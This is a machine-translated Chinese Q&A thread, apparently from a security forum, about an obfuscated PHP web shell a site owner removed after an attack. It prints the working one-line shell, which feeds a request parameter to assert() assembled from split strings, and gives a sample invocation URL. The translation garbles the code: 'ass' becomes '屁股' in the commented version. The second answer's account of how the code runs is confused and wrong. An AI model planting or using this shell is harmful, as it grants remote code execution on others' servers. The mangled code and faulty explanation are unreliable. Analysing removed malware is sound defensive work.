这个可疑的 PHP 代码有什么作用?

信息安全 php
2021-08-19 19:45:56

在一次攻击导致许多PHPshell 被上传后,我正在清理一个网站。我找到并删除了以下代码:

if(isset($_REQUEST['e'])) { $b="ass"."ert";$a=$b($_REQUEST['e']);${'a'}; }

你能告诉我它是做什么的吗?如何${'a'}导致代码执行?注入的代码是 POST 请求发送的吗?

2个回答

它是一个允许远程执行代码的模糊 Web shell。

脚本$_REQUEST['e']输入到assert()函数中。这将e请求参数评估为 PHP。像这样使用它:

http://example.com/shell.php?e=phpinfo()

assert()是评估断言的调试功能。但是,如果你给它一个任意字符串,它将作为 PHP 表达式执行。这是一种避免eval()恶意软件检测的好方法。

这是重新格式化和评论的片段:

<?php
// 确保提供了请求参数 e
if(isset($_REQUEST['e'])) {
    // 通过从多个字符串中组装“assert”来使静态分析复杂化
    $b = "屁股"."ert";
    // 评估断言(是的,在 PHP 中你可以“调用”一个字符串作为函数名)
    $a = $b($_REQUEST['e']);
    //垃圾。断言已经运行,这没有任何作用
    ${'a'};
}
?>

如何${'a'}导致代码执行?

它没有。$b($_REQUEST['e'])是断言运行的地方。该代码无需${'a'}.

注入的代码是 POST 请求发送的吗?

$_REQUEST允许通过GET和发送参数POST

让我们分解一下。

$b="ass"."ert"

这将创建一个变量“b”,其中“ass”与“ert”连接以形成“assert”。

$a=$b($_REQUEST['e']);

由于 b = 'assert' 这将评估为 assert() 传入请求中的任何“e”。Assert 是一个函数,它将检查传入的内容是否为 false ( http://php.net/manual/en/function.assert.php )。

${'a'} 

这实际上什么也没做。它与 $a 相同。

如果黑客通过请求页面 yourdomain.com/thephpfile.php?e=1%3D2 在请求中传递了一个 'e' 的东西,浏览器会将 %3D 转换为 '=' 符号并且 e 将是 '1= 2'。

让我们把它放在一起。

${'断言(1=2)'}

这将返回 1,因为它断言结果为假。

这可用于通过检查变量是否等于它们传入的值来检查 php 页面中的变量。

如果您需要澄清,请告诉我。